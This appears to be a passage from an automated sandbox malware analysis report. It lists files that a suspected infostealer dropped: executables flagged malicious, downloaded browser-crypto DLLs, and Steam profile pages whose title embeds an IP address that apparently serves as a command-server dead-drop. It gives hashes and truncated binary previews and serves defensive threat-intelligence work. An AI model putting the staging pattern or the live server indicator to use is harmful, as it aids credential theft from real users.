Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\66fb252fe232b_Patksl.exe.log

Download File

Process:	C:\Users\user\Desktop\66fb252fe232b_Patksl.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AAAKEBGDAF.exe.log

Download File

Process:	C:\ProgramData\AAAKEBGDAF.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EBKJDBAAKJ.exe.log

Download File

Process:	C:\ProgramData\EBKJDBAAKJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HDGIJJDGCB.exe.log

Download File

Process:	C:\ProgramData\HDGIJJDGCB.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\d4BihqytT0FhOpDvoGEczZzm.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userBAKKEGCAAE.exe.log

Download File

Process:	C:\Users\userBAKKEGCAAE.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userDHCAECGIEB.exe.log

Download File

Process:	C:\Users\userDHCAECGIEB.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfcc301a31_swws[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	344992
Entropy (8bit):	7.9840811629834345
Encrypted:	false
SSDEEP:	6144:X5EAq+eU9BhaikesEDBVqaDf5kLslwEIF4TN4ha/qks1l9QjjmQ+Nb/Q5AQEO:J5vlBQB/EDBkaDRkyZIF4TN4o/29QjK0
MD5:	022CC85ED0F56A3F3E8AEC4AE3B80A71
SHA1:	A89B9C39C5F6FCB6E770CEA9491BF7A97F0F012D
SHA-256:	BB28BB63ED34A3B4F97A0A26BDA8A7A7C60F961010C795007EDC52576B89E4D3
SHA-512:	AC549B9CF50E631BAE01152DB4523FDAB55F426EE77177AF900B088244665E28DE03C10784FE9DB33A2478BEE0D96BD50E5A668D2A2BFDFF3E8706AA8F5D71A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ... ....@.. .......................`.......7....`.....................................S.... ..B...........x...(&...@......`................................................ ............... ..H............text........ ...................... ..`.rsrc...B.... ......................@..@.reloc.......@......................@..B........................H.......@... ..............................................................+>J]..y.. 9..=...5..t...S..4;g./.k.T.l..>GP.OC.B.$...!.xV...X.,.7.D.qRY..\.8..`M.c....6...`...D6by..e>.Ty...."lZD;...6....FN6T.^:...z._.'.._......r;...n8...Ua..<.D8..4.OvZ.2.j;o.9...;.a.}.y.R......\......`2.fv.J.C.*D.cu..'.^,b......F^I..e..H.N!...&..x..D...."...5....z.J..sE.......H....b&DI..9..Z...l.{,w.F....-. O....2...Ak.8.<.!@@a'...2...A....%.l..?.a<y.....6zZ.....'..7..Q....v>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfcc9963ca_ldfsna[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	391072
Entropy (8bit):	7.987128579531616
Encrypted:	false
SSDEEP:	6144:7RNcX3Y/L03IZz1t0oQqXl8uRa2rIfpympCmd75n3L2BdEtD+gEO:7RNcXoIYZz1t0IDr2y9md75bAy1rEO
MD5:	C7E7CFC3ED17AEF6C67C265389593EE3
SHA1:	44AAEA45A59F194F33FF435A430FCBD9E7434AD5
SHA-256:	0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
SHA-512:	6C5F7A6626AAC4B583D1165C4EA3BC69E315CDCE94D3E1D3442DC9643E0983F2A80E0495BAC79D4AA0E4DB309F0AAB373D917E6AF12FFAAD333ABA21E16249D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................ ........@.. ..............................."....`.....................................S.......B...........x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B.......................H.......@... ..............................................................[(<.sT.w/.....x~I......T..T5Q>.z.....b.S./....2E.w.>../.d..t_.s........o>...............UV.S.....a5..JK....Y.w......#....s."....-d..-7..av..n.\....]............L...t...:2o1.!.......q9_O......K.^...."...)0...3..$.5.,..}.....3cx.z.....2I}.......I.e...$. .....V ..OG...Ua.$+...%\.B-.U...3....nc...,..lf...f.o..`. bO.c2...R..]0o.f....<.9..^n\.....\..2....=.nk..7 .,o.8.#.b...*.T..g}qB.[

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfccd837ac_vadggdsa[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34879
Entropy (8bit):	5.398065045058952
Encrypted:	false
SSDEEP:	768:Mdpqme0Ih+3tAA6WGgefcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2H:Md8me0Ih+3tAA6WGgeFhTBv++nIjBtPr
MD5:	C575AF5B171B4654304104F7DB23EEBD
SHA1:	85596D310C666FFAFB9C7B50058CD04F21F0C3C1
SHA-256:	4FC54F01476F2824AEB1FF15A9CF306A1F4C902583735704F1EE53BA4AFC5B00
SHA-512:	4C52DFE00FB9799EC9ECB5458883F5000AB67B511B6B9C83DCE670BAA2AA55D511FDB0E6331EF791923A1F69A8B5A3E93D6D961DFCCB9F6E1E8B8A772BD1DE69
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://49.12.197.9\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.133081594016209
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wuhthQeOiGnkiluzlQjBC1lclfWd/G1i5lyEAht+hl/gd:vpmGSGxLjOL3l0QlkyulG1i7OIzG
MD5:	F5E41B8019653F9D890F856E7042676E
SHA1:	2937DAD4D83DA14F8C6304277924C45004718F99
SHA-256:	447721844CB2D6066639FDA761EC369AABC28E9CBF883F60702A09FCC9FDA51F
SHA-512:	8CEF4C6BDEE2CBA6601E2B7302B05C7B9F63725D9B0DDA6656263A82E5F54C030211DCF7D747C1A222206C9E84DBBA25988A4AC9A5365E7DD6153A78E7D8F577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66fbfcc9963ca_ldfsna[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	391072
Entropy (8bit):	7.987128579531616
Encrypted:	false
SSDEEP:	6144:7RNcX3Y/L03IZz1t0oQqXl8uRa2rIfpympCmd75n3L2BdEtD+gEO:7RNcXoIYZz1t0IDr2y9md75bAy1rEO
MD5:	C7E7CFC3ED17AEF6C67C265389593EE3
SHA1:	44AAEA45A59F194F33FF435A430FCBD9E7434AD5
SHA-256:	0DDEBB36BEB37631DF17F68A14C90519F93BA7C200C62003527273119442E1FF
SHA-512:	6C5F7A6626AAC4B583D1165C4EA3BC69E315CDCE94D3E1D3442DC9643E0983F2A80E0495BAC79D4AA0E4DB309F0AAB373D917E6AF12FFAAD333ABA21E16249D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ..f................................ ........@.. ..............................."....`.....................................S.......B...........x...(&..........`................................................ ............... ..H............text........ ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B.......................H.......@... ..............................................................[(<.sT.w/.....x~I......T..T5Q>.z.....b.S./....2E.w.>../.d..t_.s........o>...............UV.S.....a5..JK....Y.w......#....s."....-d..-7..av..n.\....]............L...t...:2o1.!.......q9_O......K.^...."...)0...3..$.5.,..}.....3cx.z.....2I}.......I.e...$. .....V ..OG...Ua.$+...%\.B-.U...3....nc...,..lf...f.o..`. bO.c2...R..]0o.f....<.9..^n\.....\..2....=.nk..7 .,o.8.#.b...*.T..g}qB.[

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66fbfccd837ac_vadggdsa[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	423840
Entropy (8bit):	7.988954975057422
Encrypted:	false
SSDEEP:	12288:hQq9JI/vWhNOAE2wMUZ0iR4HHW02AEPzYhDU9qcEO:5JXfOATt3202AHhD5ct
MD5:	237AF39F8B579AAD0205F6174BB96239
SHA1:	7AAD40783BE4F593A2883B6A66F66F5F624D4550
SHA-256:	836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957
SHA-512:	DF46993A2029B22CBC88B289398265494C5A8F54EA803E15B7B12F4A7BC98152DF298916D341E3C3590329B35A806788AE294BAE2E6832F2A2AC426D0145504D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0..f................. ...........>... ...@....@.. ....................................`..................................>..S....@..B...........xQ..(&...`......`=............................................... ............... ..H............text........ ... .................. ..`.rsrc...B....@......."..............@..@.reloc.......`.......&..............@..B.................>......H.......@+.. ............................................................B,..Je.8.........Xf..3..Zm...v.$:...r......X...M..6'4..,.O.T...!..B..C.\|....[.{2.y.d?1d2.m.......U5A9.3.B.[l.t..P3f.A.y.z$.[Yi.............[..v..\..Bq..g.^.....pd....{....t.}.y..[P....v.y.H. ..@.'2.^..4.h..7!.O.w.Jx...i....v...?.G.6^...`.q8..NZ..-.T...u...W1z.....K.._.....7.-...H.<fz(..7..-..@.{.%.x.B.#.."...S4.,N.........iO......#T......jN.F.A......h.j..p..."&.xU-...`....4....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34879
Entropy (8bit):	5.398332825734369
Encrypted:	false
SSDEEP:	768:Mdpqme0Ih+3tAA6WGgefcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x25:Md8me0Ih+3tAA6WGgeFhTBv++nIjBtP9
MD5:	A37E720B943126683036A3C4417F91EB
SHA1:	30D5CACC416E0F1A18695816FFC3D5CACF6D56B4
SHA-256:	A2F72CC582BC4597B4BE3796CA69F6BC5387C846697E06FAC7DCD29BB79F72F4
SHA-512:	0829BDB84CEB0634ED73664150D7B32D3C1227069AE4F06283A2592074AC109588295EA40F0B914E20DAA6A7AADD331C5F1CE60A065F38063DA142FFA3607E53
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://49.12.197.9\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\76561199780418869[2].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34879
Entropy (8bit):	5.398266630843199
Encrypted:	false
SSDEEP:	768:Mdpqme0Ih+3tAA6WGgefcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2h:Md8me0Ih+3tAA6WGgeFhTBv++nIjBtPd
MD5:	189685CB352952EA8742A1769CF8D169
SHA1:	B49FD2B077BC4F62DED05A366282063FDA732A96
SHA-256:	3FDB2F3C9BB6DD6042E9478E35B3C50A32FFAD24FF031707E5822F6509B267BC
SHA-512:	20DAC79AAA9C36EC683A82BC69F543ADB6AEB95A2CABF9960B67A064ABE3C7BD5BF2F562B4787538031FC3CF6292B17E3D9C33DDF8A6118DCE0611A755D68DD0
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://49.12.197.9\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
